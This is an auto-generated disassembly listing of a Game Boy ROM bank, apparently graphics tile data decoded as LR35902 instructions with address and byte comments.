nop ; $4355: $00
inc bc ; $4356: $03
inc bc ; $4357: $03
ld c, $0d ; $4358: $0e $0d
inc d ; $435a: $14
dec de ; $435b: $1b
db $10 ; $435c: $10
rra ; $435d: $1f
cpl ; $435e: $2f
ccf ; $435f: $3f
nop ; $4360: $00
nop ; $4361: $00
nop ; $4362: $00
nop ; $4363: $00
jr_006_4364:
nop ; $4364: $00
nop ; $4365: $00
ret nz ; $4366: $c0
ret nz ; $4367: $c0
jr nz, jr_006_434a ; $4368: $20 $e0
db $10 ; $436a: $10
ldh a, [rBCPS] ; $436b: $f0 $68
ret c ; $436d: $d8
ld a, b ; $436e: $78
ret z ; $436f: $c8
nop ; $4370: $00
rlca ; $4371: $07
rra ; $4372: $1f
rlca ; $4373: $07
daa ; $4374: $27
rlca ; $4375: $07
ld c, h ; $4376: $4c
rrca ; $4377: $0f
ld d, e ; $4378: $53
inc e ; $4379: $1c
ld [hl], a ; $437a: $77
ld hl, sp+$6f ; $437b: $f8 $6f
ldh a, [$6f] ; $437d: $f0 $6f
ldh a, [rP1] ; $437f: $f0 $00
nop ; $4381: $00
nop ; $4382: $00
nop ; $4383: $00
nop ; $4384: $00
nop ; $4385: $00
ret nz ; $4386: $c0
ret nz ; $4387: $c0
ld [hl], b ; $4388: $70
or b ; $4389: $b0
jr z, jr_006_4364 ; $438a: $28 $d8
inc b ; $438c: $04
db $fc ; $438d: $fc
ld a, h ; $438e: $7c
db $fc ; $438f: $fc
ldh [rP1], a ; $4390: $e0 $00
jr_006_4392:
nop ; $4392: $00
jr jr_006_4355 ; $4393: $18 $c0
call nz, $f230 ; $4395: $c4 $30 $f2
ret z ; $4398: $c8
ld a, [hl-] ; $4399: $3a
jp hl ; $439a: $e9
jr jr_006_4392 ; $439b: $18 $f5
inc c ; $439d: $0c
push af ; $439e: $f5
inc c ; $439f: $0c
nop ; $43a0: $00
nop ; $43a1: $00
nop ; $43a2: $00
nop ; $43a3: $00
inc a ; $43a4: $3c
inc a ; $43a5: $3c
inc h ; $43a6: $24
inc a ; $43a7: $3c
ld a, [hl] ; $43a8: $7e
ld a, [hl] ; $43a9: $7e
ld d, d ; $43aa: $52
ld l, [hl] ; $43ab: $6e
ld a, [hl] ; $43ac: $7e
ld a, [hl] ; $43ad: $7e
nop ; $43ae: $00
nop ; $43af: $00
nop ; $43b0: $00
nop ; $43b1: $00
ld [hl], b ; $43b2: $70
ld [hl], b ; $43b3: $70
ld e, h ; $43b4: $5c
ld a, h ; $43b5: $7c
ld [hl], h ; $43b6: $74
ld e, h ; $43b7: $5c
ld d, h ; $43b8: $54
ld a, h ; $43b9: $7c
ld e, h ; $43ba: $5c
ld a, h ; $43bb: $7c
ld [hl], b ; $43bc: $70
ld [hl], b ; $43bd: $70
nop ; $43be: $00
nop ; $43bf: $00
nop ; $43c0: $00
nop ; $43c1: $00
nop ; $43c2: $00
nop ; $43c3: $00
rrca ; $43c4: $0f
rrca ; $43c5: $0f
jr c, jr_006_43ff ; $43c6: $38 $37
ld d, b ; $43c8: $50
ld l, a ; $43c9: $6f
ld b, c ; $43ca: $41
ld a, a ; $43cb: $7f
sbc a ; $43cc: $9f
rst $38 ; $43cd: $ff
cp a ; $43ce: $bf
pop hl ; $43cf: $e1
nop ; $43d0: $00
nop ; $43d1: $00
nop ; $43d2: $00
nop ; $43d3: $00
nop ; $43d4: $00
nop ; $43d5: $00
add b ; $43d6: $80
add b ; $43d7: $80
ld b, b ; $43d8: $40
ret nz ; $43d9: $c0
and b ; $43da: $a0
ld h, b ; $43db: $60
ldh [rNR41], a ; $43dc: $e0 $20
ldh [$a0], a ; $43de: $e0 $a0
ldh [$a0], a ; $43e0: $e0 $a0
xor [hl] ; $43e2: $ae
xor $55 ; $43e3: $ee $55
db $db ; $43e5: $db
ld [hl], e ; $43e6: $73
db $fd ; $43e7: $fd
pop af ; $43e8: $f1
ld e, a ; $43e9: $5f
ld sp, hl ; $43ea: $f9
rst $08 ; $43eb: $cf
cp $8e ; $43ec: $fe $8e
ldh a, [$f0] ; $43ee: $f0 $f0
nop ; $43f0: $00
nop ; $43f1: $00
nop ; $43f2: $00
nop ; $43f3: $00
rrca ; $43f4: $0f
rrca ; $43f5: $0f
jr c, @+$39 ; $43f6: $38 $37
ld d, b ; $43f8: $50
ld l, a ; $43f9: $6f
add c ; $43fa: $81
rst $38 ; $43fb: $ff
cp l ; $43fc: $bd
rst $38 ; $43fd: $ff
rst $38 ; $43fe: $ff
jr_006_43ff:
jp RST_00 ; $43ff: $c3 $00 $00
nop ; $4402: $00
nop ; $4403: $00
nop ; $4404: $00
nop ; $4405: $00
inc bc ; $4406: $03
inc bc ; $4407: $03
ld c, $0d ; $4408: $0e $0d
inc d ; $440a: $14
dec de ; $440b: $1b
db $10 ; $440c: $10
rra ; $440d: $1f
cpl ; $440e: $2f
ccf ; $440f: $3f
rst $38 ; $4410: $ff
nop ; $4411: $00
pop af ; $4412: $f1
nop ; $4413: $00
pop af ; $4414: $f1
nop ; $4415: $00
pop af ; $4416: $f1
nop ; $4417: $00
pop af ; $4418: $f1
nop ; $4419: $00
add c ; $441a: $81
nop ; $441b: $00
add c ; $441c: $81
ld a, [hl] ; $441d: $7e
rst $38 ; $441e: $ff
nop ; $441f: $00
ccf ; $4420: $3f
jr nz, jr_006_4442 ; $4421: $20 $1f
inc e ; $4423: $1c
rra ; $4424: $1f
ld d, $3f ; $4425: $16 $3f
inc hl ; $4427: $23
rra ; $4428: $1f
rra ; $4429: $1f
dec de ; $442a: $1b
dec d ; $442b: $15
ccf ; $442c: $3f
inc hl ; $442d: $23
ld l, $32 ; $442e: $2e $32
rst $30 ; $4430: $f7
ld a, a ; $4431: $7f
sbc h ; $4432: $9c
rst $38 ; $4433: $ff
add b ; $4434: $80
rst $38 ; $4435: $ff
inc b ; $4436: $04
rst $38 ; $4437: $ff
add [hl] ; $4438: $86
rst $38 ; $4439: $ff
ret ; $443a: $c9
ld a, a ; $443b: $7f
rst $38 ; $443c: $ff
ld [hl], $dd ; $443d: $36 $dd
and d ; $443f: $a2
cp $02 ; $4440: $fe $02
jr_006_4442:
db $fc ; $4442: $fc
sbc h ; $4443: $9c
db $fc ; $4444: $fc
or h ; $4445: $b4
ld a, [hl] ; $4446: $7e
ld [c], a ; $4447: $e2
db $fc ; $4448: $fc
db $fc ; $4449: $fc
db $ec ; $444a: $ec
ld d, h ; $444b: $54
cp $62 ; $444c: $fe $62
sbc d ; $444e: $9a
add [hl] ; $444f: $86
ccf ; $4450: $3f
jr nc, jr_006_4492 ; $4451: $30 $3f
jr nz, @+$81 ; $4453: $20 $7f
ld c, a ; $4455: $4f
ld a, a ; $4456: $7f
ld e, b ; $4457: $58
ld a, a ; $4458: $7f
ld d, e ; $4459: $53
ld a, a ; $445a: $7f
ld [hl], a ; $445b: $77
cpl ; $445c: $2f
ccf ; $445d: $3f
rra ; $445e: $1f
ld [de], a ; $445f: $12
cp b ; $4460: $b8
add sp, -$38 ; $4461: $e8 $c8
ld a, b ; $4463: $78
ret nc ; $4464: $d0
ld [hl], b ; $4465: $70
ldh a, [$f0] ; $4466: $f0 $f0
ret c ; $4468: $d8
ld a, b ; $4469: $78
rst $18 ; $446a: $df
rst $30 ; $446b: $f7
ld sp, hl ; $446c: $f9
ccf ; $446d: $3f
ld d, c ; $446e: $51
cp a ; $446f: $bf
inc e ; $4470: $1c
rla ; $4471: $17
inc de ; $4472: $13
rra ; $4473: $1f
rrca ; $4474: $0f
dec c ; $4475: $0d
dec e ; $4476: $1d
dec de ; $4477: $1b
dec hl ; $4478: $2b
ld a, $5f ; $4479: $3e $5f
ld [hl], a ; $447b: $77
rst $38 ; $447c: $ff
ld [c], a ; $447d: $e2
cp l ; $447e: $bd
and $fc ; $447f: $e6 $fc
add h ; $4481: $84
cp $02 ; $4482: $fe $02
cp $f2 ; $4484: $fe $f2
cp $1a ; $4486: $fe $1a
cp $ca ; $4488: $fe $ca
cp $ea ; $448a: $fe $ea
db $f4 ; $448c: $f4
ld a, h ; $448d: $7c
ld a, b ; $448e: $78
xor b ; $448f: $a8
nop ; $4490: $00
nop ; $4491: $00
jr_006_4492:
nop ; $4492: $00
nop ; $4493: $00
rlca ; $4494: $07
rlca ; $4495: $07
add hl, de ; $4496: $19
rra ; $4497: $1f
inc hl ; $4498: $23
dec a ; $4499: $3d
ld b, a ; $449a: $47
ld a, c ; $449b: $79
ld a, a ; $449c: $7f
ld a, e ; $449d: $7b
ld a, a ; $449e: $7f
ld c, a ; $449f: $4f
nop ; $44a0: $00
nop ; $44a1: $00
nop ; $44a2: $00
nop ; $44a3: $00
ld [$e8f8], sp ; $44a4: $08 $f8 $e8
ld hl, sp+$78 ; $44a7: $f8 $78
ret c ; $44a9: $d8
ld hl, sp-$78 ; $44aa: $f8 $88
ld hl, sp-$38 ; $44ac: $f8 $c8
ldh a, [$30] ; $44ae: $f0 $30
ld bc, $0101 ; $44b0: $01 $01 $01
ld bc, $0101 ; $44b3: $01 $01 $01
inc bc ; $44b6: $03
inc bc ; $44b7: $03
rlca ; $44b8: $07
dec b ; $44b9: $05
rlca ; $44ba: $07
inc b ; $44bb: $04
inc bc ; $44bc: $03
ld [bc], a ; $44bd: $02
ld bc, $ff01 ; $44be: $01 $01 $ff
rst $00 ; $44c1: $c7
ld a, a ; $44c2: $7f
call z, $c97f ; $44c3: $cc $7f $c9
ld a, a ; $44c6: $7f
ld [$daff], a ; $44c7: $ea $ff $da
rst $20 ; $44ca: $e7
sbc a ; $44cb: $9f
pop af ; $44cc: $f1
adc a ; $44cd: $8f
adc $b2 ; $44ce: $ce $b2
and b ; $44d0: $a0
ldh [$dc], a ; $44d1: $e0 $dc
call c, Call_000_3af6 ; $44d3: $dc $f6 $3a
ld a, e ; $44d6: $7b
sbc l ; $44d7: $9d
sbc l ; $44d8: $9d
ld [hl], a ; $44d9: $77
cp $26 ; $44da: $fe $26
db $fc ; $44dc: $fc
call z, Call_000_3030 ; $44dd: $cc $30 $30
ld bc, $0701 ; $44e0: $01 $01 $07
rlca ; $44e3: $07
rrca ; $44e4: $0f
ld [$111f], sp ; $44e5: $08 $1f $11
ld e, $13 ; $44e8: $1e $13
ld c, $0b ; $44ea: $0e $0b
ld b, $07 ; $44ec: $06 $07
ld bc, $ff01 ; $44ee: $01 $01 $ff
ld sp, $c9ff ; $44f1: $31 $ff $c9
rst $38 ; $44f4: $ff
ld l, e ; $44f5: $6b
jr_006_44f6:
cp $ff ; $44f6: $fe $ff
ld e, h ; $44f8: $5c
rst $38 ; $44f9: $ff
adc l ; $44fa: $8d
cp $53 ; $44fb: $fe $53
rst $38 ; $44fd: $ff
ld sp, hl ; $44fe: $f9
rst $20 ; $44ff: $e7
ccf ; $4500: $3f
jr nc, jr_006_4582 ; $4501: $30 $7f
ld c, [hl] ; $4503: $4e
rst $38 ; $4504: $ff
sbc e ; $4505: $9b
rst $38 ; $4506: $ff
or l ; $4507: $b5
ld a, a ; $4508: $7f
ld h, e ; $4509: $63
ld a, [hl] ; $450a: $7e
ld d, e ; $450b: $53
ccf ; $450c: $3f
add hl, hl ; $450d: $29
rra ; $450e: $1f
rra ; $450f: $1f
ld hl, sp-$18 ; $4510: $f8 $e8
add sp, $38 ; $4512: $e8 $38
ldh a, [$f0] ; $4514: $f0 $f0
ld c, b ; $4516: $48
ld hl, sp+$54 ; $4517: $f8 $54
cp h ; $4519: $bc
ld d, h ; $451a: $54
cp h ; $451b: $bc
jr z, jr_006_44f6 ; $451c: $28 $d8
ldh a, [$f0] ; $451e: $f0 $f0
ld a, $32 ; $4520: $3e $32
ld e, h ; $4522: $5c
ld a, h ; $4523: $7c
adc $ba ; $4524: $ce $ba
sub $ba ; $4526: $d6 $ba
ld d, l ; $4528: $55
ld a, l ; $4529: $7d
ld a, l ; $452a: $7d
ld d, l ; $452b: $55
ld a, l ; $452c: $7d
ld a, l ; $452d: $7d
ld d, l ; $452e: $55
ld l, l ; $452f: $6d
and d ; $4530: $a2
db $dd ; $4531: $dd
ret ; $4532: $c9
or [hl] ; $4533: $b6
db $eb ; $4534: $eb
push de ; $4535: $d5
or [hl] ; $4536: $b6
db $eb ; $4537: $eb
ld a, a ; $4538: $7f
or [hl] ; $4539: $b6
cp [hl] ; $453a: $be
ld e, l ; $453b: $5d
or [hl] ; $453c: $b6
ld d, l ; $453d: $55
ld [hl], a ; $453e: $77
sub h ; $453f: $94
sbc [hl] ; $4540: $9e
sbc d ; $4541: $9a
sbc a ; $4542: $9f
sub c ; $4543: $91
sbc a ; $4544: $9f
sub c ; $4545: $91
adc [hl] ; $4546: $8e
adc d ; $4547: $8a
ld d, e ; $4548: $53
db $dd ; $4549: $dd
db $e3 ; $454a: $e3
ld a, l ; $454b: $7d
jp hl ; $454c: $e9
ld a, a ; $454d: $7f
ld d, d ; $454e: $52
sbc $1b ; $454f: $de $1b
dec d ; $4551: $15
inc c ; $4552: $0c
dec bc ; $4553: $0b
rrca ; $4554: $0f
ld [$131e], sp ; $4555: $08 $1e $13
rra ; $4558: $1f
dec d ; $4559: $15
rla ; $455a: $17
inc e ; $455b: $1c
rrca ; $455c: $0f
ld [$090e], sp ; $455d: $08 $0e $09
sbc a ; $4560: $9f
ld l, a ; $4561: $6f
ld a, [$f28f] ; $4562: $fa $8f $f2
rst $38 ; $4565: $ff
rst $08 ; $4566: $cf
ld c, a ; $4567: $4f
ld b, b ; $4568: $40
ret nz ; $4569: $c0
and b ; $456a: $a0
ldh [$b0], a ; $456b: $e0 $b0
ret nc ; $456d: $d0
ld hl, sp-$78 ; $456e: $f8 $88
cp h ; $4570: $bc
rst $30 ; $4571: $f7
cp a ; $4572: $bf
ld_long a, $ffaf ; $4573: $fa $af $ff
ld a, [c] ; $4576: $f2
di ; $4577: $f3
ld [bc], a ; $4578: $02
inc bc ; $4579: $03
dec b ; $457a: $05
rlca ; $457b: $07
dec c ; $457c: $0d
dec bc ; $457d: $0b
rra ; $457e: $1f
ld de, $68d8 ; $457f: $11 $d8 $68
jr_006_4582:
or b ; $4582: $b0
ret nc ; $4583: $d0
ldh a, [rNR10] ; $4584: $f0 $10
ld hl, sp+$48 ; $4586: $f8 $48
ld hl, sp-$58 ; $4588: $f8 $a8
add sp, $38 ; $458a: $e8 $38
ldh a, [rNR10] ; $458c: $f0 $10
ld [hl], b ; $458e: $70
sub b ; $458f: $90
rst $38 ; $4590: $ff
sbc d ; $4591: $9a
cp $b7 ; $4592: $fe $b7
rst $38 ; $4594: $ff
or [hl] ; $4595: $b6
rst $38 ; $4596: $ff
sub e ; $4597: $93
ld a, a ; $4598: $7f
ld e, c ; $4599: $59
ccf ; $459a: $3f
ld a, $39 ; $459b: $3e $39
ld h, $1c ; $459d: $26 $1c
inc de ; $459f: $13
or b ; $45a0: $b0
ld d, b ; $45a1: $50
ld [hl], b ; $45a2: $70
sub b ; $45a3: $90
ldh [rNR41], a ; $45a4: $e0 $20
ret nc ; $45a6: $d0
ld [hl], b ; $45a7: $70
sbc b ; $45a8: $98
ld hl, sp-$6c ; $45a9: $f8 $94
db $fc ; $45ab: $fc
or d ; $45ac: $b2
cp $fa ; $45ad: $fe $fa
ld a, d ; $45af: $7a
push af ; $45b0: $f5
dec c ; $45b1: $0d
push af ; $45b2: $f5
dec c ; $45b3: $0d
jp hl ; $45b4: $e9
add hl, de ; $45b5: $19
jp z, $3e3a ; $45b6: $ca $3a $3e
cp $dc ; $45b9: $fe $dc
call c, Call_000_1818 ; $45bb: $dc $18 $18
ldh [$e0], a ; $45be: $e0 $e0
ld h, d ; $45c0: $62
ld e, [hl] ; $45c1: $5e
ld a, d ; $45c2: $7a
ld b, [hl] ; $45c3: $46
push af ; $45c4: $f5
sbc e ; $45c5: $9b
ld hl, sp-$51 ; $45c6: $f8 $af
cp l ; $45c8: $bd
and $7f ; $45c9: $e6 $7f
ld b, h ; $45cb: $44
ld [hl], a ; $45cc: $77
ld c, [hl] ; $45cd: $4e
ld d, l ; $45ce: $55
ld l, l ; $45cf: $6d
nop ; $45d0: $00
nop ; $45d1: $00
nop ; $45d2: $00
nop ; $45d3: $00
nop ; $45d4: $00
nop ; $45d5: $00
add b ; $45d6: $80
add b ; $45d7: $80
ret nz ; $45d8: $c0
ld b, b ; $45d9: $40
ldh [rNR41], a ; $45da: $e0 $20
ldh a, [rNR10] ; $45dc: $f0 $10
ldh a, [rNR10] ; $45de: $f0 $10
ldh [$a0], a ; $45e0: $e0 $a0
ld b, b ; $45e2: $40
ret nz ; $45e3: $c0
ld h, e ; $45e4: $63
db $e3 ; $45e5: $e3
ld a, l ; $45e6: $7d
rst $18 ; $45e7: $df
db $ed ; $45e8: $ed
rst $10 ; $45e9: $d7
rst $38 ; $45ea: $ff
add a ; $45eb: $87
jr_006_45ec:
db $fd ; $45ec: $fd
rst $08 ; $45ed: $cf
cp a ; $45ee: $bf
cp a ; $45ef: $bf
ld h, a ; $45f0: $67
ld e, c ; $45f1: $59
ld [hl], d ; $45f2: $72
ld l, [hl] ; $45f3: $6e
ld a, [hl] ; $45f4: $7e
ld b, d ; $45f5: $42
cp $92 ; $45f6: $fe $92
ld a, [$beae] ; $45f8: $fa $ae $be
and $7e ; $45fb: $e6 $7e
ld b, [hl] ; $45fd: $46
ld l, d ; $45fe: $6a
ld d, [hl] ; $45ff: $56
nop ; $4600: $00
nop ; $4601: $00
jr_006_4602:
nop ; $4602: $00
nop ; $4603: $00
ld bc, $0201 ; $4604: $01 $01 $02
inc bc ; $4607: $03
dec b ; $4608: $05
rlca ; $4609: $07
dec c ; $460a: $0d
dec bc ; $460b: $0b
ld c, $0f ; $460c: $0e $0f
rra ; $460e: $1f
inc d ; $460f: $14
nop ; $4610: $00
nop ; $4611: $00
nop ; $4612: $00
nop ; $4613: $00
add b ; $4614: $80
add b ; $4615: $80
pop bc ; $4616: $c1
ld b, c ; $4617: $41
pop hl ; $4618: $e1
ld hl, $f1f1 ; $4619: $21 $f1 $f1
ei ; $461c: $fb
jp z, $94ef ; $461d: $ca $ef $94
ld a, l ; $4620: $7d
ld a, l ; $4621: $7d
ld d, l ; $4622: $55
ld l, l ; $4623: $6d
jr c, @+$3a ; $4624: $38 $38
ld bc, $0101 ; $4626: $01 $01 $01
ld bc, $0203 ; $4629: $01 $03 $02
inc bc ; $462c: $03
ld [bc], a ; $462d: $02
ld [bc], a ; $462e: $02
inc bc ; $462f: $03
rst $30 ; $4630: $f7
inc d ; $4631: $14
db $e3 ; $4632: $e3
ld [hl+], a ; $4633: $22
db $e3 ; $4634: $e3
and d ; $4635: $a2
pop bc ; $4636: $c1
ld b, c ; $4637: $41
db $e3 ; $4638: $e3
ld [hl+], a ; $4639: $22
ld h, e ; $463a: $63
and d ; $463b: $a2
ld h, e ; $463c: $63
and d ; $463d: $a2
and d ; $463e: $a2
ld h, e ; $463f: $63
call z, $c04c ; $4640: $cc $4c $c0
ld b, b ; $4643: $40
add b ; $4644: $80
add b ; $4645: $80
ret nz ; $4646: $c0
ld b, b ; $4647: $40
ret nz ; $4648: $c0
ld b, b ; $4649: $40
ld h, b ; $464a: $60
and b ; $464b: $a0
ld h, b ; $464c: $60
and b ; $464d: $a0
and b ; $464e: $a0
ld h, b ; $464f: $60
xor a ; $4650: $af
jr nc, jr_006_4602 ; $4651: $30 $af
jr nc, jr_006_45ec ; $4653: $30 $97
jr @+$15 ; $4655: $18 $13
ld e, h ; $4657: $5c
inc c ; $4658: $0c
ld c, a ; $4659: $4f
inc bc ; $465a: $03
inc hl ; $465b: $23
nop ; $465c: $00
jr jr_006_4666 ; $465d: $18 $07
nop ; $465f: $00
ld a, [bc] ; $4660: $0a
dec c ; $4661: $0d
dec c ; $4662: $0d
ld a, [bc] ; $4663: $0a
dec c ; $4664: $0d
ld a, [bc] ; $4665: $0a
jr_006_4666:
rrca ; $4666: $0f
dec c ; $4667: $0d
ccf ; $4668: $3f
ld [hl], $77 ; $4669: $36 $77
ld c, c ; $466b: $49
rst $08 ; $466c: $cf
or e ; $466d: $b3
db $fc ; $466e: $fc
add h ; $466f: $84
ld hl, sp-$78 ; $4670: $f8 $88
db $fc ; $4672: $fc
call nz, $ccfc ; $4673: $c4 $fc $cc
inc a ; $4676: $3c
inc [hl] ; $4677: $34
db $ec ; $4678: $ec
call nc, $98e8 ; $4679: $d4 $e8 $98
ret c ; $467c: $d8
xor b ; $467d: $a8
or b ; $467e: $b0
ret nz ; $467f: $c0
rst $38 ; $4680: $ff
nop ; $4681: $00
rst $38 ; $4682: $ff
nop ; $4683: $00
rst $38 ; $4684: $ff
nop ; $4685: $00
rst $38 ; $4686: $ff
nop ; $4687: $00
rst $38 ; $4688: $ff
nop ; $4689: $00
rst $38 ; $468a: $ff
nop ; $468b: $00
rst $38 ; $468c: $ff
nop ; $468d: $00
rst $38 ; $468e: $ff
nop ; $468f: $00
ld e, $11 ; $4690: $1e $11
inc c ; $4692: $0c
dec bc ; $4693: $0b
rrca ; $4694: $0f
ld [$131e], sp ; $4695: $08 $1e $13
rra ; $4698: $1f
dec d ; $4699: $15
rla ; $469a: $17
inc e ; $469b: $1c
rrca ; $469c: $0f
ld [$090e], sp ; $469d: $08 $0e $09
ld b, b ; $46a0: $40
ret nz ; $46a1: $c0
ret nz ; $46a2: $c0
ld b, b ; $46a3: $40
ret nz ; $46a4: $c0
ret nz ; $46a5: $c0
ret nz ; $46a6: $c0
ld b, b ; $46a7: $40
ld b, b ; $46a8: $40
ret nz ; $46a9: $c0
and b ; $46aa: $a0
ldh [$b0], a ; $46ab: $e0 $b0
ret nc ; $46ad: $d0
ld hl, sp-$78 ; $46ae: $f8 $88
nop ; $46b0: $00
nop ; $46b1: $00
nop ; $46b2: $00
nop ; $46b3: $00
nop ; $46b4: $00
nop ; $46b5: $00
ld bc, $0301 ; $46b6: $01 $01 $03
ld [bc], a ; $46b9: $02
ld b, $05 ; $46ba: $06 $05
rlca ; $46bc: $07
inc b ; $46bd: $04
rra ; $46be: $1f
jr @+$6e ; $46bf: $18 $6c
ld d, h ; $46c1: $54
ld l, a ; $46c2: $6f
ld d, a ; $46c3: $57
ld a, a ; $46c4: $7f
ld e, [hl] ; $46c5: $5e
rst $38 ; $46c6: $ff
or h ; $46c7: $b4
rst $18 ; $46c8: $df
jr z, jr_006_474a ; $46c9: $28 $7f
sbc l ; $46cb: $9d
or $3e ; $46cc: $f6 $3e
cp $ea ; $46ce: $fe $ea
add sp, -$68 ; $46d0: $e8 $98
add sp, $78 ; $46d2: $e8 $78
or b ; $46d4: $b0
ld d, b ; $46d5: $50
ld h, b ; $46d6: $60
and b ; $46d7: $a0
ret nz ; $46d8: $c0
ld b, b ; $46d9: $40
add b ; $46da: $80
add b ; $46db: $80
nop ; $46dc: $00
nop ; $46dd: $00
nop ; $46de: $00
nop ; $46df: $00
sub h ; $46e0: $94
db $ec ; $46e1: $ec
jr_006_46e2:
db $fc ; $46e2: $fc
db $fc ; $46e3: $fc
ld c, b ; $46e4: $48
ld hl, sp-$08 ; $46e5: $f8 $f8
ld a, b ; $46e7: $78
jr z, jr_006_46e2 ; $46e8: $28 $f8
cp h ; $46ea: $bc
call c, $766a ; $46eb: $dc $6a $76
ld e, $1e ; $46ee: $1e $1e
ld [hl], $2a ; $46f0: $36 $2a
ld [hl], $2e ; $46f2: $36 $2e
ccf ; $46f4: $3f
dec h ; $46f5: $25
dec sp ; $46f6: $3b
ccf ; $46f7: $3f
ld [hl], $2a ; $46f8: $36 $2a
ld a, h ; $46fa: $7c
ld b, h ; $46fb: $44
ld e, h ; $46fc: $5c
ld h, h ; $46fd: $64
db $fc ; $46fe: $fc
add h ; $46ff: $84
rla ; $4700: $17
dec e ; $4701: $1d
ld e, $16 ; $4702: $1e $16
inc d ; $4704: $14
inc e ; $4705: $1c
jr jr_006_4720 ; $4706: $18 $18
nop ; $4708: $00
nop ; $4709: $00
nop ; $470a: $00
nop ; $470b: $00
nop ; $470c: $00
nop ; $470d: $00
nop ; $470e: $00
nop ; $470f: $00
ld l, [hl] ; $4710: $6e
ld d, l ; $4711: $55
scf ; $4712: $37
ld a, [hl+] ; $4713: $2a
rra ; $4714: $1f
inc de ; $4715: $13
rrca ; $4716: $0f
dec c ; $4717: $0d
ld b, $06 ; $4718: $06 $06
nop ; $471a: $00
nop ; $471b: $00
nop ; $471c: $00
nop ; $471d: $00
nop ; $471e: $00
nop ; $471f: $00
jr_006_4720:
inc bc ; $4720: $03
ld [bc], a ; $4721: $02
inc bc ; $4722: $03
ld [bc], a ; $4723: $02
inc bc ; $4724: $03
ld [bc], a ; $4725: $02
inc bc ; $4726: $03
inc bc ; $4727: $03
rlca ; $4728: $07
dec b ; $4729: $05
dec c ; $472a: $0d
ld a, [bc] ; $472b: $0a
ld e, $11 ; $472c: $1e $11
rra ; $472e: $1f
rra ; $472f: $1f
db $e3 ; $4730: $e3
ld [hl+], a ; $4731: $22
pop bc ; $4732: $c1
ld b, c ; $4733: $41
pop bc ; $4734: $c1
ld b, c ; $4735: $41
ld b, c ; $4736: $41
pop bc ; $4737: $c1
pop bc ; $4738: $c1
ld b, c ; $4739: $41
pop bc ; $473a: $c1
ld b, c ; $473b: $41
ld b, c ; $473c: $41
pop bc ; $473d: $c1
pop bc ; $473e: $c1
pop bc ; $473f: $c1
ldh [rNR41], a ; $4740: $e0 $20
ldh [rNR41], a ; $4742: $e0 $20
ldh [rNR41], a ; $4744: $e0 $20
ld h, b ; $4746: $60
ldh [$f0], a ; $4747: $e0 $f0
ld d, b ; $4749: $50
jr_006_474a:
ret c ; $474a: $d8
jr z, jr_006_4789 ; $474b: $28 $3c
call nz, $fcfc ; $474d: $c4 $fc $fc
ld bc, $0201 ; $4750: $01 $01 $02
inc bc ; $4753: $03
rlca ; $4754: $07
dec b ; $4755: $05
rrca ; $4756: $0f
add hl, bc ; $4757: $09
dec b ; $4758: $05
rlca ; $4759: $07
inc bc ; $475a: $03
ld [bc], a ; $475b: $02
ld bc, $0001 ; $475c: $01 $01 $00
nop ; $475f: $00
ld sp, hl ; $4760: $f9
add hl, de ; $4761: $19
pop hl ; $4762: $e1
and c ; $4763: $a1
pop bc ; $4764: $c1
pop bc ; $4765: $c1
ld [bc], a ; $4766: $02
jp $22e3 ; $4767: $c3 $e3 $22
di ; $476a: $f3
or d ; $476b: $b2
db $eb ; $476c: $eb
ld e, e ; $476d: $5b
ld hl, sp-$08 ; $476e: $f8 $f8
ldh a, [rNR10] ; $4770: $f0 $10
ldh [rNR41], a ; $4772: $e0 $20
ldh [$a0], a ; $4774: $e0 $a0
ret nc ; $4776: $d0
ldh a, [$e8] ; $4777: $f0 $e8
ld e, b ; $4779: $58
inc a ; $477a: $3c
Jump_006_477b:
db $fc ; $477b: $fc
ld [$3ed6], a ; $477c: $ea $d6 $3e
ld a, $80 ; $477f: $3e $80
add b ; $4781: $80
add b ; $4782: $80
add b ; $4783: $80
ld hl, sp-$08 ; $4784: $f8 $f8
cp [hl] ; $4786: $be
add $7f ; $4787: $c6 $7f
jr_006_4789:
add l ; $4789: $85
ld a, a ; $478a: $7f
sbc c ; $478b: $99
or $ea ; $478c: $f6 $ea
ld l, h ; $478e: $6c
ld d, h ; $478f: $54
nop ; $4790: $00
nop ; $4791: $00
rla ; $4792: $17
rra ; $4793: $1f
add hl, de ; $4794: $19
rra ; $4795: $1f
rra ; $4796: $1f
ld e, $09 ; $4797: $1e $09
rrca ; $4799: $0f
ld [$090f], sp ; $479a: $08 $0f $09
rrca ; $479d: $0f
jr_006_479e:
dec bc ; $479e: $0b
ld c, $00 ; $479f: $0e $00
nop ; $47a1: $00
ldh [$e0], a ; $47a2: $e0 $e0
jr jr_006_479e ; $47a4: $18 $f8
adc h ; $47a6: $8c
ld [hl], h ; $47a7: $74
add $3a ; $47a8: $c6 $3a
ld [bc], a ; $47aa: $02
cp $f9 ; $47ab: $fe $f9
rst $38 ; $47ad: $ff
db $fd ; $47ae: $fd
add a ; $47af: $87
cpl ; $47b0: $2f
dec a ; $47b1: $3d
ld a, [hl] ; $47b2: $7e
ld e, [hl] ; $47b3: $5e
ld a, [c] ; $47b4: $f2
sbc [hl] ; $47b5: $9e
ld e, [hl] ; $47b6: $5e
ld [hl], d ; $47b7: $72
dec a ; $47b8: $3d
dec hl ; $47b9: $2b
rla ; $47ba: $17
rra ; $47bb: $1f
ld c, $0d ; $47bc: $0e $0d
inc bc ; $47be: $03
inc bc ; $47bf: $03
inc e ; $47c0: $1c
ld a, [de] ; $47c1: $1a
ld d, $1e ; $47c2: $16 $1e
rrca ; $47c4: $0f
dec bc ; $47c5: $0b
dec b ; $47c6: $05
rlca ; $47c7: $07
inc bc ; $47c8: $03
inc bc ; $47c9: $03
nop ; $47ca: $00
nop ; $47cb: $00
add b ; $47cc: $80
add b ; $47cd: $80
add b ; $47ce: $80
add b ; $47cf: $80
add hl, de ; $47d0: $19
rla ; $47d1: $17
ld e, $11 ; $47d2: $1e $11
ld a, $25 ; $47d4: $3e $25
cp [hl] ; $47d6: $be
xor e ; $47d7: $ab
rst $38 ; $47d8: $ff
ld l, c ; $47d9: $69
cp a ; $47da: $bf
pop af ; $47db: $f1
db $fd ; $47dc: $fd
ld a, [c] ; $47dd: $f2
ld a, l ; $47de: $7d
jp c, RST_00 ; $47df: $da $00 $00
ld bc, $0301 ; $47e2: $01 $01 $03
ld [bc], a ; $47e5: $02
rlca ; $47e6: $07
inc b ; $47e7: $04
ld [bc], a ; $47e8: $02
inc bc ; $47e9: $03
ld bc, $0001 ; $47ea: $01 $01 $00
nop ; $47ed: $00
nop ; $47ee: $00
nop ; $47ef: $00
ld hl, sp-$78 ; $47f0: $f8 $88
ld [hl], b ; $47f2: $70
ret nc ; $47f3: $d0
ldh [$e0], a ; $47f4: $e0 $e0
